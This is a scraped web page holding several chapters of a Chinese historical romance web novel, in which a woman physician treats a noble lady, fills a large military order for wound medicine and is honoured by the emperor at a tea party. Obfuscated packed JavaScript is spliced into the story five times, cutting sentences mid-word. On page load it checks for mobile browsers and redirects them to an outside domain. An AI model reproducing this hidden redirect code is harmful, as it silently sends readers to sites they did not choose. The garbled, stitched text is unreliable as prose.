$(''#content'').append('' 好铺子!谁来问都说您出诊去了,归期不定!”阿福拍着胸脯,赌咒发誓。 姜绾歌这才略略安心,拎起沉甸甸的药箱和锦盒,对张嬷嬷颔首:“嬷嬷,请。” 坐在驶向尚书府的宽敞马车内,车轮碾过青石板路,发出规律而沉闷的声响。 姜绾歌微微撩开车窗帘子一角,喧嚣的市声与鲜活的街景扑面而来。 小贩响亮的吆喝,孩童清脆的嬉闹,妇人斤斤计较的讨价还价…阳光暖暖地洒在行人身上,蒸腾起带着食物香气和尘土味道的烟火气。 她深深地、贪婪地吸了一口这充满生机的空气,感觉紧绷到极限的神经,终于在这片嘈杂而真实的市井画卷中,一丝丝、缓慢地松弛下来。 方才药铺后堂那场充斥着权力倾轧与情感逼迫的窒息对峙,仿佛一场遥远而不真实的噩梦,被这鲜活的人间烟火气迅速冲淡、驱散。 无论如何,姜绾歌在心底再次对自己,也对这喧闹的街市无声宣告:情爱纠葛也好,权势压迫也罢,都绝不能成为她前行路上的绊脚石!在这个男子为尊的世道里,一个女子想要不依附他人,想要真正掌控自己的命运,拥有立身之地,本就难于登天! 若此刻便被这些纷扰困住手脚,那她过往的挣扎、她的勃勃野心、她发下的掌控命运的誓言,岂不都成了天大的笑话? “先把根基扎稳,把生意做大做强,”她用力握紧了药箱冰凉的提手,仿佛握住了自己命运的船舵,眼神重新变得如淬火星辰般坚定明亮,“让‘济世堂’和‘百味居’成为无人可撼的招牌! 至于其他…船到桥头自然直!”决心如磐石。 马车平稳前行,穿过繁华的街市,驶向权贵云集、气氛渐趋肃穆的内城。 姜绾歌放下车帘,闭上双眼,开始在脑海中飞速梳理待会儿可能用到的诊疗方案,将一切杂念摒除。 吏部尚书府那朱漆大门、威严石狮的轮廓在脑海中越来越清晰。 第178章 吏部尚书夫人 马车稳稳停在吏部尚书府气派的朱漆大门前。石狮威严,门庭森严,与喧嚣市井截然不同。 张嬷嬷先行下车,恭敬地引着姜绾歌入内。府内亭台楼阁,曲径通幽,仆役往来悄然无声,处处透着顶级权贵的庄重与压抑。 姜绾歌目不斜视,提着药箱,步履沉稳地跟在张嬷嬷身后。她收敛心神,将一切杂念摒除,此刻,她只是大夫姜绾歌。 穿过几重精致的庭院,来到一处更为幽静的院落。花木扶疏,空气中弥漫着淡淡的药香和熏香混合的气息。张嬷嬷在一间布置雅致、陈设奢华的厢房前停下脚步,轻声道:“姜大夫稍候,容老奴通禀夫人。” 片刻,张嬷嬷掀起珠帘:“姜大夫,夫人有请。” 姜绾歌微微颔首,迈步而入。 室内光线柔和,熏炉袅袅。一位约莫三十出头、身着华贵锦缎常服的妇人斜倚在软榻上,面色带着几分倦怠的苍白,眉宇间郁结着一股化不开的愁绪。 她便是吏部尚书夫人,王氏。 “民女姜绾歌,见过夫人。”姜绾歌行了一个标准的医家礼,不卑不亢。 王氏抬眸,目光带着审视与一丝不易察觉的期盼,在她脸上停留片刻,才虚抬了抬手:“姜大夫不必多礼。久闻大名,今日劳烦你了。”声音温婉,却透着疲惫。 “夫人言重了。能为夫人分忧,是民女的荣幸。”姜绾歌放下药箱,温声道:“请夫人移步,容民女为您请脉。” 王氏依言伸出手腕,搁在软榻旁早已备好的脉枕上。姜绾歌净手后,三指轻搭其腕间,凝神静气,细细感受脉象。 脉象沉细无力,尺脉尤甚,如丝线欲断。她心中了然,果然是宫寒之症,且颇为严重,胞宫失于温煦,气血凝滞,自然难以受孕。 “夫人,请张口,容民女观舌。”王氏依言。舌质淡白,舌苔薄白而润。 “夫人平日是否畏寒,尤其腰腹及手足冰冷?月事来时,小腹冷痛坠胀,经血色暗有块,淋漓难尽?”姜绾歌问得直接而专业。 王氏眼中闪过一丝惊讶,随即被苦涩取代,微微点头:“姜大夫所言…分毫不差。尤其是月事那几日,痛得直不起腰,畏寒怕冷,如同置身冰窟。”她身边的贴身丫鬟也连连点头,证实所言非虚。 王氏下意识地抚上自己的小腹,声音带着激动和一丝颤抖:“姜大夫…那…那该如何是好?” “需内外兼施,温经散寒,活血通络。”姜绾歌语气笃定,“今日民女先为夫人施以艾灸,引暖流入体,缓解胞宫寒凝之痛。再开一剂温经汤,夫人需按时服用,配合饮食调养。”她打开锦盒,取出准备好的顶级药材,“这些阿胶、当归、熟地等,是民女特意为夫人挑选,用以入药温补气血根基。” 王氏看着那些品相上乘的药材,又看看那陶制模型和眼前这位年轻却沉稳自信的女大夫,心中信服了大半。“好!就依姜大夫所言!快,快请施针…哦,艾灸!” 姜绾歌让王氏平躺于软榻,解开外衫,露出小腹。她取来艾条,点燃一端,艾草的独特香气弥漫开来。她找准关元穴,手持艾条,悬于穴位上方约一寸处,手法稳定,以温和的热力徐徐熏灸。 “夫人,感觉如何?”她轻声问。 “嗯…暖暖的…”王氏闭着眼,感受着那久违的、丝丝缕缕渗透进冰冷小腹的暖意,紧绷的眉头渐渐舒展,发出一声舒适的喟叹,“很舒服…好像…好像里面冻僵的地方…开始化开了…”那深入骨髓的寒意似乎真的在一点点被驱散。 姜绾歌专注地控制着艾条的距离和热度,观察着王氏的反应。约莫灸了一炷香的时间,王氏的额头微微见汗,原本苍白的面颊也透出些许红润。 “夫人体内寒气深重,非一日之功。艾灸需隔日一次,至少坚持十日。”姜绾歌收好艾条,细心叮嘱,“温经汤需每日一剂,早晚空腹温服。饮食上忌食生冷寒凉之物,可多食羊肉、生姜、桂圆等温补之物。” 她一边说,一边提笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031068|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写下药方,字迹清隽有力:“这是方子,夫人可遣人按方抓药。民女过两日再来为夫人艾灸,并根据脉象调整方剂。” 王氏在丫鬟的搀扶下坐起身,感觉小腹前所未有的轻松温暖,那股纠缠她多年的、沉重的坠胀冷痛感大大减轻。她看着姜绾歌,眼神充满了感激和信任:“姜大夫真乃神医!这感觉…好多了!张嬷嬷,快,把我妆匣里那个羊脂玉镯取来!” 张嬷嬷连忙取来一个锦盒,打开,里面是一只温润无瑕、价值不菲的羊脂白玉镯。王氏亲手拿起,递向姜绾歌:“一点心意,万望姜大夫收下。若真能得偿所愿…尚书府必不忘姜大夫大恩!” 姜绾歌眸光盈盈,指尖轻抚玉镯温润质地,唇角扬起恰到好处的笑意:夫人厚赠,绾歌愧不敢当。只是初入京城行医,还望夫人能在贵眷中美言几句。” “往后若有病症疑难,无论贫富贵贱,民女必当倾尽全力诊治。这玉镯于我,既是夫人的信任,也当是绾歌在京城行医的见证了。 此番收下,既为维系难得机缘,更盼借贵人口碑,在这繁华之地站稳医者脚跟。 夫人爽朗一笑,绢帕轻掩唇角:“这有何难!凭你这般妙手仁心,我定会与京中贵眷好好宣扬。日后谁提起寻医问诊,保管第一个想到姜姑娘!” 说罢又轻轻捏了捏她的手,笑意盈盈,“姑娘放心,我定会让你的名声在京城大街小巷都传个遍!” 姜绾歌指尖微蜷,将玉镯贴在心口处,眸光真挚而清亮:承蒙夫人成全!往后若有需要,绾歌定随叫随到。待声名传开,若能多救几条性命,都是夫人的功德。 她福了福身,发髻上的素银簪子晃出细碎流光,他日若有义诊施药之事,还望夫人能再助一臂之力。 离开尚书府时,张嬷嬷亲自将姜绾歌送到大门外,态度比来时更加恭敬热络:“姜大夫慢走。夫人的病,就全仰仗您了!改日老奴亲自去府上接您。” 马车启动,驶离肃穆的尚书府。 第179章 大订单 马车驶入外城,喧闹的市井声浪重新涌入耳中。姜绾歌撩开窗帘一角,午后的阳光有些刺眼,街道上行人如织,贩夫走卒的吆喝声此起彼伏,充满了蓬勃的生机。她深吸了一口带着食物香气和尘土味道的空气,感觉紧绷的神经彻底放松下来。这才是她熟悉和掌控的世界。 “东家,直接回杏林堂吗?”车夫的声音从前头传来。 姜绾歌略一沉吟:“不,先去醉仙楼。”她惦记着午市的账目,更想看看药膳的反馈如何。醉仙楼不仅是生意,更是她重要的信息节点和避风港。 马车在醉仙楼后院停下。姜绾歌刚下车,就感受到楼内传来的热浪和喧嚣,生意果然红火。她没走前门,而是熟门熟路地从后厨的小门进入。厨房里热火朝天,大厨们挥汗如雨,跑堂们端着托盘穿梭如飞,各种菜肴的香气混合在一起,浓郁得化不开。 “东家回来了!”正在灶台边盯着火候的胖大厨眼尖,连忙招呼。 “嗯,辛苦了。”姜绾歌点点头,目光扫过井然有序的后厨,心中满意。她没多停留,径直穿过忙碌的人群,走上通往二楼的木梯。将药箱暂时放在楼梯拐角的杂物柜上,她整了整因坐车而微皱的衣裙,脸上重新挂起属于“姜老板”的从容与干练。 推开雅间的门,里面安静许多,隔绝了楼下的嘈杂。桌上摊开着账本,银算盘静静地躺在旁边。她走到窗边,推开半扇窗,让带着食物香气的微风透进来,也顺便观察了一下楼下大堂的盛况。很好,座无虚席,跑堂们穿梭有序。 她坐回桌边,拿起那架沉甸甸的银算盘,指尖冰凉。算珠碰撞的清脆“噼啪”声在安静的雅间里响起,如同她此刻逐渐沉淀下来的心绪。一笔笔收入、一项项支出在她脑中清晰流过,数字带来的掌控感让她感到安心。这才是她安身立命的根基,是她对抗一切风浪的底气。 正当她沉浸在账目的世界里,指尖飞快地拨动着算珠,核对着一笔药材采购的尾款时—— “噔噔噔!”急促的脚步声伴随着粗重的喘息声冲上楼梯,雅间的门被猛地推开! “东家!东家!”阿福满脸通红,气喘如牛地站在门口,眼睛里闪烁着极度兴奋的光芒,声音因为激动而拔高,几乎破了音,“有人找您!是…是个天大的客户!” 姜绾歌被打断思路,眉头微蹙,但看阿福这不同寻常的激动模样,心知事情不小。她稳住拨算珠的手,抬眼看向阿福,语气沉稳:“大客户?多大?”银算盘在她指尖发出最后一声轻响,归于寂静。 阿福咽了口唾沫,努力平复呼吸,往前凑了两步,压低声音,却压不住那股子亢奋:“特别特别大!东家!人家…人家张口就要订五百瓶金疮药!五百瓶啊!” 银算盘啪地一声掉在桌上。姜绾歌猛地抬头,眼中闪过一丝震惊:五百瓶?你确定? 千真万确!阿福连连点头,那位爷现在就在楼下等着呢,说是有急用! 姜绾歌心跳骤然加速。五百瓶金疮药,这可不是小数目!按照现在的价格,这笔订单至少能赚个几千两银子。她深吸了一口气,强压下内心的激动。 请他上来。 不一会儿,阿福就带着一个身材颀长的男子走了上来。那人穿着深青色的锦袍,腰间悬着块上好的和田玉,一双桃花眼正似笑非笑地看着她。 姜绾歌心头一紧——顾云霁! 姜大夫,顾云霁朝她拱了拱手,声音里带着惯有的慵懒,打扰了。 王爷客气,姜绾歌起身迎接,表面镇定,心里却暗暗警惕,听说您要订购金疮药? 正是,顾云霁在对面坐下,目光在她脸上停留了片刻,五百瓶,十日内交货。 姜绾歌眉头微皱:王爷,五百瓶可不是小数目,十日的期限也太紧了些... 本王知道这个要求有些苛刻,顾云霁从怀中掏出一块令牌,轻轻放在桌上,但这是军需,刻不容缓。 姜绾歌低头一看,顿时倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038000|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸了一口凉气。那是块兵符!青铜制成,上面刻着龙纹,还有西南军务四个字。 这...这是兵符?她声音有些发颤。 不错,顾云霁点头,西南边境最近不太平,军中急需金疮药。姜大夫的药效果好,本王特意前来订购。 姜绾歌盯着那块兵符,心情五味杂陈。这可是军需啊!如果能拿下这笔订单,不仅能赚到大钱,更重要的是会让杏林堂的名声响彻整个京城。 但是...她看了看顾云霁,心中又有些忐忑。这个男人向来不做亏本买卖,突然给她这么大的订单,怕是别有用心。 王爷,她试探性地问道,这么大的订单,为什么不找宫里的太医院?或者其他更大的药铺? 太医院的药虽然好,但都是宫中用的,哪有时间给军队炼制?顾云霁轻笑,至于其他药铺...本王信不过。 他顿了顿,目光变得深邃:只有姜大夫的药,本王用着放心。 这话说得意味深长,姜绾歌心头一跳。她知道顾云霁说的是真话,自己的金疮药确实比市面上的要好,但她总觉得这里面有什么隐情。 价格呢?她直接问道。 按市价,顾云霁爽快地说,每瓶八两银子,五百瓶就是四千两。定金先付一半,交货时结清余款。 四千两!姜绾歌的心脏猛地跳了几下。这可是个天文数字!她开杏林堂这么久,还从来没见过这么多银子。 好,我接了!她一咬牙,做出了决定。 顾云霁眼中闪过一丝满意的笑意:爽快!那咱们就签个契约吧。 很快,契约就签好了。顾云霁当场付了两千两的定金,那些雪花银堆在桌上,在阳光下闪闪发光。 等顾云霁走后,姜绾歌看着桌上的银子,激动得手都在发抖。阿福更是乐得合不拢嘴:东家,这下咱们发财了! 别高兴太早,姜绾歌冷静下来,五百瓶金疮药,十日内交货,这可不是闹着玩的。 第180章 缺药 她立刻开始盘算库存。金疮药的主要成分是三七、血竭、乳香、没药等,其中三七用量最大。她心中一算,脸色顿时变了。 阿福,马上去库房清点三七的存量! 阿福跑下去一趟,回来后脸色也不好看:东家,三七只有二十斤,根本不够啊! 姜绾歌的心沉了下去。要炼制五百瓶金疮药,至少需要八十斤三七。现在库存严重不足,上哪去找这么多三七? 其他药材呢?她不死心地问。 血竭还有十斤,乳香八斤,没药六斤,阿福掰着手指算,都不够。 姜绾歌一屁股坐在椅子上,感觉头皮发麻。这下麻烦大了!药材不够,怎么交货?违约的话,不仅要赔偿,更重要的是会砸了杏林堂的招牌。 东家,要不...要不咱们去找其他药商买?阿福小心翼翼地建议。 你以为我没想过?姜绾歌没好气地说,三七这东西本来就稀缺,哪有那么容易买到?就算买到了,价格也高得离谱,咱们不赔钱才怪! 正当她一筹莫展的时候,门外又传来脚步声。她抬头一看,心里咯噔一下——顾铭轩来了! 他今天穿了件玄色的常服,脸色阴沉得像要下雨。姜绾歌一看他的表情,就知道麻烦来了。 绾绾,顾铭轩走进雅间,目光如炬地看着她,朕听说你接了一笔大买卖? 陛下...姜绾歌起身行礼,心中暗暗叫苦。消息传得这么快? 五百瓶金疮药,顾云霁下的订单,顾铭轩的声音很平静,但姜绾歌能听出其中的怒意,绾绾,你与他合作过深了。 陛下,这只是正常的生意往来...姜绾歌试图解释。 正常的生意往来?顾铭轩冷笑,军需非同小可,此人...心思难测。 他走到姜绾歌面前,突然伸手捏住她的下巴,迫使她抬头看着自己:只是商业?他看着你的眼神,朕不喜欢。离他远点。 姜绾歌被他捏得有些疼,心中怒火直冒:陛下,您这是... 朕再问你一次,顾铭轩的眼神变得危险,你考虑好了吗?朕的话还有效吗? 姜绾歌知道他说的是什么。离京前,顾铭轩曾经暗示过要她入宫,但她一直没有明确回应。现在看到她和顾云霁的合作,他显然是急了。 陛下,我...我需要时间,她挣脱了他的手,现在这笔订单是关键,我必须先把它处理好。 处理好?顾铭轩的声音更冷了,朕看你是被那个订单冲昏了头脑!绾绾,你可知道军需意味着什么? 我知道!姜绾歌倔强地抬起头,正因为知道,我才要把它做好!这是个机会,能让杏林堂真正站稳脚跟的机会! 顾铭轩看着她眼中的坚定,心中五味杂陈。他既心疼她的执着,又怒于她的固执。 绾绾,他的声音软了下来,朕不是不支持你做生意,但是... 但是什么?姜绾歌打断他,但是不能和王爷合作?陛下,您这样管着我,和把我关在金丝笼里有什么区别? 这话如同利剑刺中顾铭轩的心脏。他愣了一下,然后苦笑道:朕...朕只是担心你。顾云霁此人深不可测,朕怕你被他利用了。 我心里有数,姜绾歌冷冷地说,陛下还是给我一些时间吧。 顾铭轩深深看了她一眼,最终还是转身离开了。但临走前,他回头说了一句让姜绾歌心惊的话: 绾绾,朕的耐心是有限的。 等顾铭轩走后,姜绾歌瘫坐在椅子上,只觉得身心俱疲。阿福小心翼翼地问:东家,咱们现在怎么办? 还能怎么办?姜绾歌咬牙道,想办法弄到药材!就算拼了老命,也要把这批金疮药做出来! 接下来的几天,姜绾歌四处奔波寻找药材。她跑遍了京城所有的药商,但三七的价格高得离谱,而且数量也不够。眼看着交货期限越来越近,她急得团团转。 就在她快要绝望的时候,顾云霁又出现了。 姜大夫看起来很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038001|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙啊,他坐在雅间里,慢慢地品着茶,是遇到什么困难了吗? 要你管!姜绾歌没好气地说,我的事我自己能解决! 别逞强了,顾云霁放下茶盏,本王知道你缺三七。 姜绾歌一愣:你怎么知道? 本王下了这么大的订单,自然要关心一下进度,顾云霁淡淡地说,城西军库里有硝石和硫磺,如果姜大夫需要的话... 硝石?硫磺?姜绾歌眼睛一亮,你是说... 用来提纯酒精,制作更高效的止血散,顾云霁笑了,这样既能节省三七的用量,又能提高药效。怎么样? 姜绾歌心中狂喜。用酒精浸泡药材确实能提高药效,而且用量也会减少很多。她看着顾云霁,心情复杂极了。 为什么要帮我?她直接问道。 因为本王需要好药,顾云霁理所当然地说,姜大夫做不出来,本王也没好处不是? 虽然这个理由听起来很合理,但姜绾歌总觉得没这么简单。不过现在也顾不了那么多了,先把订单完成再说。 好,我答应! 有了硝石和硫磺,姜绾歌立刻开始制作高浓度酒精。她率领着石头、小三子等几个伙计,日夜不停地蒸馏提纯。整个后院都弥漫着酒精的味道,熏得人头晕眼花。 东家,您歇会儿吧,石头心疼地说,您已经三天没好好睡觉了。 歇什么歇?姜绾歌瞪着通红的眼睛,还有两天就要交货了,一刻都不能停! 她拿起银勺搅拌着药液,手法娴熟而专注。经过酒精浸泡的药材颜色更深,药效也更强。虽然很累,但看到效果这么好,她心中充满了成就感。 终于,在交货的前一天晚上,五百瓶金疮药全部制作完成。姜绾歌看着整整齐齐摆放的药瓶,累得几乎站不稳,但脸上却露出了满足的笑容。 成了!石头兴奋地喊道,咱们真的做到了! 别高兴太早,姜绾歌擦了擦汗,还要等王爷验货呢。 第181章 茶会 第二天一早,顾云霁就来了。他带着几个副将仔细检查每一瓶金疮药。 药色纯正,香味浓郁,一个副将赞叹道,这药一看就知道是上品! 不错,顾云霁满意地点头,比预期的还要好。 正当验货进行到一半时,意外发生了。顾云霁在搬动一箱药瓶时,肩膀上的伤口突然崩裂,鲜血瞬间渗透了衣衫。 王爷!副将们大惊。 死不了,顾云霁咬牙道,继续验货。 继续你个头!姜绾歌看到血迹,立刻冲了过来,给我脱衣服! 这...这不太好吧?副将们面面相觑。 滚一边去!姜绾歌恶狠狠地瞪着他们,老娘是大夫! 她强行扒开顾云霁的衣服,露出肩膀上血肉模糊的伤口。那伤口本来已经愈合了一些,但刚才的动作让它再次裂开。 **,早就告诉过你要小心,姜绾歌一边清洗伤口一边骂道,现在好了,又得重新缝! 姜大夫的手艺我信得过,顾云霁强忍疼痛,就是嘴巴太毒了些。 闭嘴!姜绾歌拿起银针开始缝合,再裂开就烙铁止血,看你还敢不敢乱动! 虽然嘴上凶巴巴的,但她手下的动作却格外轻柔。银针在她指间翻飞,很快就把伤口重新缝好了。 好了,她包扎完毕,冷着脸说,三天内别碰水,一个月内别干重活。药钱照算,不打折! 姜大夫真是...顾云霁摇头苦笑,嘴硬心软。 谁心软了?姜绾歌瞪眼,老娘这是怕你**没人付药钱! 顾云霁哈哈大笑,痛得又龇牙咧嘴。 验货继续进行,最终五百瓶金疮药全部合格。顾云霁当场结清了余款,还额外赠送了一百个驱蚊药包给西南边军。 合作愉快,他伸出右手。 合作愉快,姜绾歌握了握他的手。 验货顺利完成,五百瓶金疮药被顾云霁的副将小心搬走。姜绾歌看着手中厚厚一沓银票,沉甸甸的分量带来的是实实在在的安心。这笔巨款,是杏林堂实力的证明,也是她对抗未来风雨的资本。 “东家,这下咱们可算扬眉吐气了!”阿福乐得合不拢嘴,搓着手围着银票转。 姜绾歌小心地将银票收好,面上虽平静,眼底却也藏着兴奋的光芒。她吩咐阿福:“钱收好,按老规矩,三成入公账周转,两成给这几日赶工的伙计们分下去,特别是石头他们几个,多给些。剩下的…存进‘通汇钱庄’。”她需要更安全的资金存放点。 “好嘞!”阿福响亮地应着。 处理完这些,姜绾歌才感觉肩膀上的重担卸下了几分。连日来的紧绷和疲惫如潮水般涌上。她揉了揉眉心,目光落在桌上顾云霁留下的那瓶特制金疮药——那是她刚才给他重新包扎后,他“顺手”留下的。瓶身还带着他指尖的余温。 “嘴硬心软…”顾云霁那带着戏谑的低语仿佛还在耳边。姜绾歌心头莫名一滞,随即有些恼火地抓起药瓶,想扔进药箱最底层,动作却在半空顿住。 最终,她还是将它放在了显眼处。“…不过是怕他伤口恶化,影响下次合作罢了。” 她低声自语,仿佛在说服自己,将心底那丝因他疼痛和信任而产生的、不合时宜的柔软强行压下。赚钱、立足、掌控自己的命运才是正事!男人…都是麻烦! 三日后,午后。永昌伯府后花园。 微风送爽,荷香阵阵。秋姨娘精心筹备的茶会正在荷花池畔的精致水榭里举行。 丝竹管弦之声悠扬悦耳,与贵妇们低低的谈笑声交织。 姜绾歌提着她的标志性药箱,在婢女的引领下步入水榭。饶是她见惯了场面,眼前景象也让她脚步微顿。 紫檀圆桌旁,环坐着十数位盛装丽人,珠翠环绕,锦缎生辉。桌上精致的茶点琳琅满目,金丝镶嵌的香炉吐纳着昂贵的沉水香,一派富贵风流气象。 “哎呀,绾歌妹妹可算来了!”秋姨娘眼尖,立刻起身相迎。 她今日打扮得格外用心,藕荷色锦袍衬得肤色白皙,金凤钗熠熠生辉,笑容满面,亲昵地挽住姜绾歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046457|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手臂,“姐妹们可都盼着见见咱们京城新晋的‘女神医’呢!” 她刻意抬高了姜绾歌的身份,眼中闪烁着与有荣焉的光芒。 “秋姐姐折煞我了,”姜绾歌面上含笑,从容福身,“承蒙姐姐和各位夫人不弃,绾歌今日是来向诸位夫人请教的。” 她姿态放得低,目光却快速扫过在座的贵妇,默默记下几张关键面孔。 “这位便是姜大夫?果然年轻有为,气度不凡。”一位身着绛紫色华服、气质端凝的妇人含笑开口,眼神带着善意的审视,“老身承恩公府王氏,久闻姜大夫妙手,今日一见,更胜闻名。” “承恩公夫人谬赞了,”姜绾歌心中了然对方身份,面上愈发恭敬,“能为夫人们略尽绵薄之力,是绾歌的福分。” “姐姐,快把你那宝贝拿出来给大家开开眼!”秋姨娘迫不及待地拉着姜绾歌坐下,眼中满是兴奋,“昨儿个你教我的那个柑橘精油按摩,我可是练了好久呢!姐妹们,你们是不知道,那味道,那感觉,真是绝了!” “柑橘精油?”几位贵妇果然被勾起了好奇心,纷纷望过来,“这是什么新奇玩意儿?听着就雅致。” 姜绾歌从容地从药箱中取出一个小巧的琉璃瓶。 阳光透过瓶身,映得里面淡黄色的液体澄澈透亮。她轻轻拔开瓶塞,一股清新自然、带着阳**息的柑橘清香瞬间弥漫开来,冲淡了浓郁的熏香,令人精神一振。 “此乃绾歌新近调制的柑橘精油,”她将瓶子递给就近的夫人传看,“采撷新鲜柑橘果皮,以古法冷浸萃取其精华,非但清香怡人,更有疏肝解郁、活血通络之效。用于按摩,可舒缓身心,润泽肌肤。” “呀!这香气真是别致!”一位年轻的夫人接过瓶子轻嗅,惊喜道,“比那些脂粉香可清爽多了,闻着就让人心情舒畅!” “不止闻着好,用着更好呢!”秋姨娘适时接话,挽起袖子,在白皙的手背上滴了两滴精油,然后学着姜绾歌教的手法,在腕间、手臂上轻柔地打圈按摩起来。 第182章 两个男人的较劲 “绾歌妹妹说,每日这样按一按,不仅能养颜,还能调理气机,对我们内宅妇人调养身子再好不过了!” “当真?”承恩公夫人王氏眼中流露出明显的兴趣,身体微微前倾,“姜大夫,这按摩真能调理身子骨?”她下意识地抚了抚自己的额角,那里带着一丝不易察觉的疲惫。 姜绾歌捕捉到她的动作,心中一动。 她看向王氏,眼神专注而温和,带着医者的笃定:“自然。按摩之道,在于疏通经络,调和气血。夫人。” 她语气微顿,声音放得更轻缓,却清晰地传入王氏耳中,“您面色虽华贵,但细观之下,气血略显不足,眼底隐有倦色,可是近来多思少眠,常感心烦气躁?” 王氏浑身一震,眼中瞬间流露出被说中心事的惊诧和苦涩! 她身边的贴身嬷嬷也忍不住点头。王氏沉默片刻,才低叹一声,带着深深的无奈:“姜大夫真是…慧眼如炬。 不瞒你说,老身近来确是寝食难安,心里头…压着块大石头。”她欲言又止,目光扫过在场众人,显然有难言之隐。 气氛一时有些凝滞。其他贵妇人都是人精,见状立刻笑着打圆场,将话题引向园中的荷花和时新的衣料首饰。 姜绾歌也不追问,只是体贴地对着王氏微微颔首,传递着一种“我懂”的无声信息。她深知,有些病根,在心不在身,需要合适的契机才能触及。 正当水榭内气氛重新活跃起来,丝竹声悠扬之时,花园小径上传来一阵略显急促的脚步声。 紧接着,一个尖细而极具穿透力的嗓音响起,瞬间压过了所有声响: “永昌伯府各位贵人吉祥!奴才奉圣上口谕,前来颁赏!” 满座皆惊!贵妇们纷纷起身,敛容肃立,连秋姨娘也立刻收敛了笑容,神情变得恭谨。 只见一位身着深青色宦官服、面白无须、约莫五十多岁的太监,领着两名捧着锦盒的小太监,步履沉稳地走入水榭。 他脸上带着恰到好处的笑容,眼神却锐利地扫过全场。 “这位是御前伺候的刘公公,陛下身边极得力的老人儿了。”秋姨娘压低声音,飞快地向姜绾歌介绍,语气带着敬畏。 刘公公的目光在人群中精准地锁定了姜绾歌。他脸上堆起更深的笑容,径直走到她面前,声音不大却清晰地传遍水榭:“姜绾歌姜大夫接旨——” 姜绾歌心头猛地一跳!在这么多贵妇人面前?她迅速压下翻腾的思绪,依礼跪下:“臣女姜绾歌,恭聆圣谕。” “陛下口谕,”刘公公清了清嗓子,朗声道,“闻姜氏绾歌,精研岐黄,仁心济世,杏林声著。特赐上等官燕一匣,百年老参一支,并宫中秘制珍药数瓶,以示嘉勉。望尔再接再厉,惠泽百姓。钦此——” “臣女叩谢陛下隆恩!陛下万岁万岁万万岁!”姜绾歌恭敬叩首,声音平稳。 小太监立刻上前,将手中捧着的紫檀木盒打开。刹那间,珠光宝气的水榭仿佛都黯淡了几分! 只见盒内最上层,是几盏洁白如雪、盏形完美的顶级官燕,散发着温润的光泽。 中间,一支根须虬结、粗壮如小儿臂膀的百年老参静静躺着,参体饱满,纹路清晰,散发着浓郁的药香。 下层,几个小巧精致的官窑瓷瓶,瓶塞密封,虽不知内里,但能得皇帝赐下,必是太医院秘制的珍品! “天爷啊…这燕窝…怕不是贡品里的头一份吧?”一位夫人忍不住低声惊叹。 “那老参…这品相,这年份,怕是有价无市啊!”另一位夫人也看得眼睛发直。 “陛下对姜大夫…当真是恩宠有加!”窃窃私语中充满了难以掩饰的震惊和艳羡。 姜绾歌跪在地上,双手接过那沉甸甸的紫檀木盒。指尖触碰到冰凉的盒面,心却如同坠入冰火两重天。 恩典?嘉奖? 在众目睽睽之下,在京城最顶级的贵妇圈子里,顾铭轩用这价值连城的赏赐,用这御前大太监亲自传旨的排场,无比清晰地昭告天下: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046458|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜绾歌,是他顾铭轩看重的人! 这哪里是赏赐?这分明是一道无形的、金光闪闪的枷锁! 姜大夫,刘公公笑着说,陛下还有口谕,说您悬壶济世,医者仁心,是当世难得的女中豪杰。 这话一出,在场的贵妇人看向姜绾歌的眼神都变了。有羡慕的,有嫉妒的,也有若有所思的。 